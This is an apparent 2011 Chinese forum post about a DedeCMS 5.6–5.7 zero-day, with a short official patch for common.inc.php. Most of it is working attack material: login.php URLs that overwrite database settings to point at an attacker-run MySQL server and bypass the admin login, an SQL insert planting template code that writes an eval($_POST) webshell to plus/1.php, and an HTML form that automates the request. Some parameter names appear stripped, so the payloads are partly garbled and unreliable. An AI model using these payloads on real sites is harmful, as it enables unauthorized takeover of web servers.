陈丁青 發表於 2011-8-20 23:46:44

DEDECMS 爆严重安全漏洞 免账号密码直接进入后台

入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&amp;validate=dcug&amp;userid=admin&amp;pwd=inimda&amp;_POST=116.255.183.90&amp;_POST=root&amp;_POST=r0t0&amp;_POST=root <br />把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。 <br />小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法: <br /><br />解决办法: <br />找到include/common.inc.php文件,把 <br />foreach($_REQUEST as $_k=&gt;$_v) <br />{ <br />var_dump($_k); <br />if( strlen($_k)&gt;0 &amp;&amp; preg_match('#^(cfg_|GLOBALS)#',$_k) ): <br />{ <br />exit('Request var not allow!'); <br />} <br />} <br />换成 <br /><br />//检查和注册外部提交的变量 <br />function CheckRequest(&amp;$val) { <br />if (is_array($val)) { <br />foreach ($val as $_k=&gt;$_v) { <br />CheckRequest($_k); <br />CheckRequest($val[$_k]); <br />} <br />} else <br />{ <br />if( strlen($val)&gt;0 &amp;&amp; preg_match('#^(cfg_|GLOBALS)#',$val) ) <br />{ <br />exit('Request var not allow!'); <br />} <br />} <br />} <br />CheckRequest($_REQUEST); <br />网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell <br /><br />前题条件,必须准备好自己的dede数据库,然后插入数据: <br />insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(&quot;1.php&quot;, \'a\');@fwrite($fp, \'\');echo &quot;OK&quot;;@fclose($fp);{/dede:php}'); <br />再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 <br />&lt;form action=&quot;&quot; method=&quot;post&quot; name=&quot;QuickSearch&quot; id=&quot;QuickSearch&quot; onsubmit=&quot;addaction();&quot;&gt; <br />&lt;input type=&quot;text&quot; value=&quot;http://localhost:8080/plus/mytag_js.php?aid=1&quot; name=&quot;doaction&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt; <br />&lt;input type=&quot;text&quot; value=&quot;dbhost&quot; name=&quot;_COOKIE&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt; <br />&lt;input type=&quot;text&quot; value=&quot;dbuser&quot; name=&quot;_COOKIE&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt; <br />&lt;input type=&quot;text&quot; value=&quot;dbpwd&quot; name=&quot;_COOKIE&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt; <br />&lt;input type=&quot;text&quot; value=&quot;dbname&quot; name=&quot;_COOKIE&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt; <br />&lt;input type=&quot;text&quot; value=&quot;dede_&quot; name=&quot;_COOKIE&quot; style=&quot;width:400&quot;&gt;&lt;br /&gt; <br />&lt;input type=&quot;text&quot; value=&quot;true&quot; name=&quot;nocache&quot; style=&quot;width:400&quot;&gt; <br />&lt;input type=&quot;submit&quot; value=&quot;提交&quot; name=&quot;QuickSearchBtn&quot;&gt;&lt;br /&gt; <br />&lt;/form&gt; <br />&lt;script&gt; <br />function addaction() <br />{ <br />document.QuickSearch.action=document.QuickSearch.doaction.value; <br />} <br />&lt;/script&gt; <br />==================================================== <br />DedeCms v5.6-5.7 0day <br />其实除过windows系统,很多服务提供商是不让php连接外部mysql服务器的。 <br /><br />用PHPNow在本地搭建DEDECMS运行环境并安装DEDECMS,这里以DedeCMSV57_UTF8为例。 <br /><br />直接进后台: <br /><br />dede/login.php?dopost=login&amp;validate=8235&amp;userid=admin&amp;pwd=admin&amp;_POST=192.168.1.1&amp;_POST=root&amp;_POST=123456&amp;_POST=dedecmsv57utf8&amp;_POST=dede_ <br /><br />直接获得webshell: <br /><br />进入自己在本地搭建的dede数据库,然后插入数据: <br /><br />insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(&quot;1.php&quot;, \'a\');@fwrite($fp, \'&lt;?php eval($_POST) ?&gt;\');echo &quot;OK&quot;;@fclose($fp);{/dede:php}'); <br /><br />在地址栏提交以下语句即可获得一句话木马plus/1.php: <br /><br />plus/mytag_js.php?aid=1&amp;_POST=192.168.1.1&amp;_POST=root&amp;_POST=123456&amp;_POST=dedecmsv57utf8&amp;_POST=dede_&amp;nocache=true
頁: [1]
查看完整版本: DEDECMS 爆严重安全漏洞 免账号密码直接进入后台